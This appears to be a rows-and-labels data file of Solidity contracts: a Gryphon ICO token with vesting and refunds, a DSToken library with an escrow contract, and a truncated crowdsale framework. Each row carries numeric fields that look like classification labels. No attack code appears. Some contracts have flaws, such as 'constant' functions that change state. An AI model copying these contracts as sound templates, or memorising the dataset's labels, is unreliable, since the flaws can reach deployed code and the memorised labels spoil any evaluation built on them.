uint256 public preSaleRaised = 0;
uint256 public icoSoftCapInWei = 2500 ether;
uint256 public icoHardCapInWei = 122400 ether;
uint256 public icoRaised = 0;
uint256 public presaleStartTimestamp;
uint256 public presaleEndTimestamp;
uint256 public icoStartTimestamp;
uint256 public icoEndTimestamp;
uint256 public presaleTokenLimit;
uint256 public icoTokenLimit;
uint256 public investorCount;
enum State {Unknown, Preparing, PreSale, ICO, Success, Failure, PresaleFinalized, ICOFinalized}
State public crowdSaleState;
modifier nonZero() {
require(msg.value > 0);
_;
}
function Gryphon() public {
owner = 0xf42B82D02b8f3E7983b3f7E1000cE28EC3F8C815;
vault = new RefundVault(0x6cD6B03D16E4BE08159412a7E290F1EA23446Bf2);
totalSupply_ = initialSupply*(10**decimals);
balances[owner] = totalSupply_;
presaleStartTimestamp = 1523232000;
presaleEndTimestamp = presaleStartTimestamp + 50 * 1 days;
icoStartTimestamp = presaleEndTimestamp + 1 days;
icoEndTimestamp = icoStartTimestamp + 60 * 1 days;
crowdSaleState = State.Preparing;
start = 1523232000;
duration = 23328000;
}
function () nonZero payable {
enter();
}
function enter() public nonZero payable {
if(isPreSalePeriod()) {
if(crowdSaleState == State.Preparing) {
crowdSaleState = State.PreSale;
}
buyTokens(msg.sender, msg.value);
}
else if (isICOPeriod()) {
if(crowdSaleState == State.PresaleFinalized) {
crowdSaleState = State.ICO;
}
buyTokens(msg.sender, msg.value);
} else {
revert();
}
}
function buyTokens(address _recipient, uint256 _value) internal nonZero returns (bool success) {
uint256 boughtTokens = calculateTokens(_value);
require(boughtTokens != 0);
boughtTokens = boughtTokens*(10**decimals);
if(balanceOf(_recipient) == 0) {
investorCount++;
}
if(isCrowdSaleStatePreSale()) {
transferTokens(_recipient, boughtTokens);
vault.deposit.value(_value)(_recipient);
preSaleRaised = preSaleRaised.add(_value);
return true;
} else if (isCrowdSaleStateICO()) {
transferTokens(_recipient, boughtTokens);
vault.deposit.value(_value)(_recipient);
icoRaised = icoRaised.add(_value);
return true;
}
}
function transferTokens(address _recipient, uint256 tokens_in_cents) internal returns (bool) {
require(
tokens_in_cents > 0
&& _recipient != owner
&& tokens_in_cents < balances[owner]
);
balances[owner] = balances[owner].sub(tokens_in_cents);
balances[_recipient] = balances[_recipient].add(tokens_in_cents);
getVested(_recipient);
Transfer(owner, _recipient, tokens_in_cents);
return true;
}
function getVested(address _beneficiary) public returns (uint256) {
require(balances[_beneficiary]>0);
if (_beneficiary == owner){
vested[owner] = balances[owner];
total_vested[owner] = balances[owner];
} else if (block.timestamp < start) {
vested[_beneficiary] = 0;
total_vested[_beneficiary] = 0;
} else if (block.timestamp >= start.add(duration)) {
total_vested[_beneficiary] = balances[_beneficiary];
vested[_beneficiary] = balances[_beneficiary];
} else {
uint vested_now = balances[_beneficiary].mul(block.timestamp.sub(start)).div(duration);
if(total_vested[_beneficiary]==0){
total_vested[_beneficiary] = vested_now;
}
if(vested_now > total_vested[_beneficiary]){
vested[_beneficiary] = vested[_beneficiary].add(vested_now.sub(total_vested[_beneficiary]));
total_vested[_beneficiary] = vested_now;
}
}
return vested[_beneficiary];
}
function transfer(address _to, uint256 _tokens_in_cents) public returns (bool) {
require(_tokens_in_cents > 0);
require(_to != msg.sender);
getVested(msg.sender);
require(balances[msg.sender] >= _tokens_in_cents);
require(vested[msg.sender] >= _tokens_in_cents);
if(balanceOf(_to) == 0) {
investorCount++;
}
balances[msg.sender] = balances[msg.sender].sub(_tokens_in_cents);
vested[msg.sender] = vested[msg.sender].sub(_tokens_in_cents);
balances[_to] = balances[_to].add(_tokens_in_cents);
if(balanceOf(msg.sender) == 0) {
investorCount=investorCount-1;
}
Transfer(msg.sender, _to, _tokens_in_cents);
return true;
}
function transferFrom(address _from, address _to, uint256 _tokens_in_cents) public returns (bool success) {
require(_tokens_in_cents > 0);
require(_from != _to);
getVested(_from);
require(balances[_from] >= _tokens_in_cents);
require(vested[_from] >= _tokens_in_cents);
require(allowed[_from][msg.sender] >= _tokens_in_cents);
if(balanceOf(_to) == 0) {
investorCount++;
}
balances[_from] = balances[_from].sub(_tokens_in_cents);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_tokens_in_cents);
vested[_from] = vested[_from].sub(_tokens_in_cents);
balances[_to] = balances[_to].add(_tokens_in_cents);
if(balanceOf(_from) == 0) {
investorCount=investorCount-1;
}
Transfer(_from, _to, _tokens_in_cents);
return true;
}
function approve(address _spender, uint256 _tokens_in_cents) returns (bool success) {
require(vested[msg.sender] >= _tokens_in_cents);
allowed[msg.sender][_spender] = _tokens_in_cents;
Approval(msg.sender, _spender, _tokens_in_cents);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function calculateTokens(uint256 _amount) internal returns (uint256 tokens){
if(crowdSaleState == State.Preparing && isPreSalePeriod()) {
crowdSaleState = State.PreSale;
}
if(isCrowdSaleStatePreSale()) {
tokens = _amount.div(rateICO);
} else if (isCrowdSaleStateICO()) {
tokens = _amount.div(rateICO);
} else {
tokens = 0;
}
}
function getRefund(address _recipient) public returns (bool){
require(crowdSaleState == State.Failure);
require(refundedAmount(_recipient));
vault.refund(_recipient);
return true;
}
function refundedAmount(address _recipient) internal returns (bool) {
require(balances[_recipient] != 0);
balances[_recipient] = 0;
return true;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address a) public view returns (uint256 balance) {
return balances[a];
}
function isCrowdSaleStatePreSale() public constant returns (bool) {
return crowdSaleState == State.PreSale;
}
function isCrowdSaleStateICO() public constant returns (bool) {
return crowdSaleState == State.ICO;
}
function isPreSalePeriod() public constant returns (bool) {
if(preSaleRaised > preSaleMaxCapInWei || now >= presaleEndTimestamp) {
crowdSaleState = State.PresaleFinalized;
return false;
} else {
return now > presaleStartTimestamp;
}
}
function isICOPeriod() public constant returns (bool) {
if (icoRaised > icoHardCapInWei || now >= icoEndTimestamp){
crowdSaleState = State.ICOFinalized;
return false;
} else {
return now > icoStartTimestamp;
}
}
function endCrowdSale() public onlyOwner {
require(now >= icoEndTimestamp || icoRaised >= icoSoftCapInWei);
if(icoRaised >= icoSoftCapInWei){
crowdSaleState = State.Success;
vault.close();
} else {
crowdSaleState = State.Failure;
vault.enableRefunds();
}
}
function getInvestorCount() public constant returns (uint256) {
return investorCount;
}
function getPresaleRaisedAmount() public constant returns (uint256) {
return preSaleRaised;
}
function getICORaisedAmount() public constant returns (uint256) {
return icoRaised;
}
} | 0 | 1,450 |
pragma solidity ^0.4.24;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
uint256 wad;
assembly {
foo := calldataload(4)
bar := calldataload(36)
wad := callvalue
}
emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped, "ds-stop-is-stopped");
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
require(_approvals[src][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
require(_balances[src] >= wad, "ds-token-insufficient-balance");
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
}
contract DSToken is DSTokenBase(0), DSStop {
bytes32 public symbol;
uint256 public decimals = 18;
constructor(bytes32 symbol_) public {
symbol = symbol_;
}
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
require(_approvals[src][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
require(_balances[src] >= wad, "ds-token-insufficient-balance");
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
emit Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) {
require(_approvals[guy][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
require(_balances[guy] >= wad, "ds-token-insufficient-balance");
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
emit Burn(guy, wad);
}
bytes32 public name = "";
function setName(bytes32 name_) public auth {
name = name_;
}
}
interface EscrowDataInterface
{
function createEscrow(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint32 _paymentWindowInSeconds
) external returns(bool);
function getEscrow(
bytes32 _tradeHash
) external returns(bool, uint32, uint128);
function removeEscrow(
bytes32 _tradeHash
) external returns(bool);
function updateSellerCanCancelAfter(
bytes32 _tradeHash,
uint32 _paymentWindowInSeconds
) external returns(bool);
function increaseTotalGasFeesSpentByRelayer(
bytes32 _tradeHash,
uint128 _increaseGasFees
) external returns(bool);
}
contract EscrowData is DSAuth, EscrowDataInterface
{
address public dexc2c;
event SetDexC2C(address caller, address dexc2c);
event Created(bytes32 _tradeHash);
event Removed(bytes32 _tradeHash);
event Updated(bytes32 _tradeHash, uint32 _sellerCanCancelAfter);
mapping (bytes32 => Escrow) public escrows;
struct Escrow
{
bool exists;
uint32 sellerCanCancelAfter;
uint128 totalGasFeesSpentByRelayer;
}
function setDexC2C(address _dexc2c)public auth returns(bool){
require(_dexc2c != address(0x00), "DEXC2C address error");
dexc2c = _dexc2c;
emit SetDexC2C(msg.sender, _dexc2c);
return true;
}
modifier onlyDexc2c(){
require(msg.sender == dexc2c, "Must be dexc2c");
_;
}
function createEscrow(
bytes32 _tradeId,
DSToken _tradeToken,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint32 _paymentWindowInSeconds
) public onlyDexc2c returns(bool){
bytes32 _tradeHash = keccak256(abi.encodePacked(_tradeId, _tradeToken, _buyer, _seller, _value, _fee));
require(!escrows[_tradeHash].exists, "Trade already exists");
uint32 _sellerCanCancelAfter = uint32(block.timestamp) + _paymentWindowInSeconds;
escrows[_tradeHash] = Escrow(true, _sellerCanCancelAfter, 0);
emit Created(_tradeHash);
return true;
}
function getEscrow(
bytes32 _tradeHash
) public view returns (bool, uint32, uint128){
Escrow memory escrow = escrows[_tradeHash];
if(escrow.exists){
return (escrow.exists, escrow.sellerCanCancelAfter, escrow.totalGasFeesSpentByRelayer);
}
return (false, 0, 0);
}
function exists(
bytes32 _tradeHash
) public view returns(bool){
return escrows[_tradeHash].exists;
}
function removeEscrow(
bytes32 _tradeHash
) public onlyDexc2c returns(bool){
require(escrows[_tradeHash].exists, "Escrow not exists");
delete escrows[_tradeHash];
emit Removed(_tradeHash);
return true;
}
function updateSellerCanCancelAfter(
bytes32 _tradeHash,
uint32 _paymentWindowInSeconds
) public onlyDexc2c returns(bool){
require(escrows[_tradeHash].exists, "Escrow not exists");
uint32 _sellerCanCancelAfter = uint32(block.timestamp) + _paymentWindowInSeconds;
escrows[_tradeHash].sellerCanCancelAfter = _sellerCanCancelAfter;
emit Updated(_tradeHash, _sellerCanCancelAfter);
return true;
}
function increaseTotalGasFeesSpentByRelayer(
bytes32 _tradeHash,
uint128 _increaseGasFees
) public onlyDexc2c returns(bool){
require(escrows[_tradeHash].exists, "Escrow not exists");
escrows[_tradeHash].totalGasFeesSpentByRelayer += _increaseGasFees;
return true;
}
} | 0 | 1,536 |
pragma solidity ^0.4.11;
contract SafeMathLib {
function safeMul(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address _to, uint _value) returns (bool success);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint8 public decimals;
}
contract StandardToken is ERC20, SafeMathLib {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]
) {
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
else{
return false;
}
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value
&& _allowance >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]
){
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(_allowance,_value);
Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
require((state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading));
require(value != 0);
balances[msg.sender] = safeSub(balances[msg.sender],value);
totalSupply = safeSub(totalSupply,value);
totalUpgraded = safeAdd(totalUpgraded,value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
require(canUpgrade());
require(agent != 0x0);
require(msg.sender == upgradeMaster);
require(getUpgradeState() != UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
require(upgradeAgent.isUpgradeAgent());
require(upgradeAgent.originalSupply() == totalSupply);
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
require(master != 0x0);
require(msg.sender == upgradeMaster);
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
require(transferAgents[_sender]);
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = safeAdd(totalSupply, amount);
balances[receiver] = safeAdd(balances[receiver], amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
require(mintAgents[msg.sender]);
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
event ProfitDelivered(address fetcher, uint profit);
event ProfitLoaded(address owner, uint profit);
string public name;
string public symbol;
uint8 public decimals;
uint loadedProfit;
bool ditributingProfit;
uint profitDistributed;
uint loadedProfitAvailable;
mapping (address => bool) public hasFetchedProfit;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint8 _decimals, bool _mintable)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
require(totalSupply != 0);
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
function loadProfit() public payable onlyOwner {
require(released);
require(!ditributingProfit);
require(msg.value != 0);
loadedProfit = msg.value;
loadedProfitAvailable = loadedProfit;
ditributingProfit = true;
ProfitLoaded(msg.sender, loadedProfit);
}
function fetchProfit() public returns(bool) {
require(ditributingProfit);
require(!hasFetchedProfit[msg.sender]);
uint NBCBalanceOfFetcher = balanceOf(msg.sender);
require(NBCBalanceOfFetcher != 0);
uint weiValue = safeMul(loadedProfit,NBCBalanceOfFetcher)/totalSupply;
require(weiValue >= msg.gas);
loadedProfitAvailable = safeSub(loadedProfitAvailable, weiValue);
hasFetchedProfit[msg.sender] = true;
profitDistributed = safeAdd(profitDistributed, weiValue);
if(loadedProfitAvailable <= 0) {
ditributingProfit = false;
loadedProfit = 0;
}
require(msg.sender.send(weiValue));
ProfitDelivered(msg.sender, weiValue);
}
function fetchUndistributedProfit() public onlyOwner {
require(loadedProfitAvailable != 0);
require(msg.sender.send(loadedProfitAvailable));
loadedProfitAvailable = 0;
ditributingProfit = false;
loadedProfit = 0;
}
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract Crowdsale is Haltable, SafeMathLib {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
require(multisigWallet != 0);
require(_start != 0);
startsAt = _start;
require(_end != 0);
endsAt = _end;
require(startsAt < endsAt);
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
require(false);
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
require(earlyParticipantWhitelist[receiver]);
} else if(getState() == State.Funding) {
} else {
require(false);
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver],weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver],tokenAmount);
weiRaised = safeAdd(weiRaised,weiAmount);
tokensSold = safeAdd(tokensSold,tokenAmount);
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
assignTokens(receiver, tokenAmount);
require(multisigWallet.send(weiAmount));
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**uint(token.decimals());
uint weiAmount = weiPrice * fullTokens;
weiRaised = safeAdd(weiRaised,weiAmount);
tokensSold = safeAdd(tokensSold,tokenAmount);
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver],weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver],tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
require(!requiredSignedAddress);
require(customerId != 0);
investInternal(addr, customerId);
}
function invest(address addr) public payable {
require(!requireCustomerId);
require(!requiredSignedAddress);
investInternal(addr, 0);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
require(!finalized);
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
require(finalizeAgent.isFinalizeAgent());
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
require(now <= time);
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
require(pricingStrategy.isPricingStrategy());
}
function setMultisig(address addr) public onlyOwner {
require(investorCount <= MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE);
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
require(msg.value != 0);
loadedRefund = safeAdd(loadedRefund,msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
require(weiValue != 0);
investedAmountOf[msg.sender] = 0;
weiRefunded = safeAdd(weiRefunded,weiValue);
Refund(msg.sender, weiValue);
require(msg.sender.send(weiValue));
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
require(getState() == state);
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract BonusFinalizeAgent is FinalizeAgent, SafeMathLib {
CrowdsaleToken public token;
Crowdsale public crowdsale;
uint public totalMembers;
uint public allocatedBonus;
mapping (address=>uint) bonusOf;
address[] public teamAddresses;
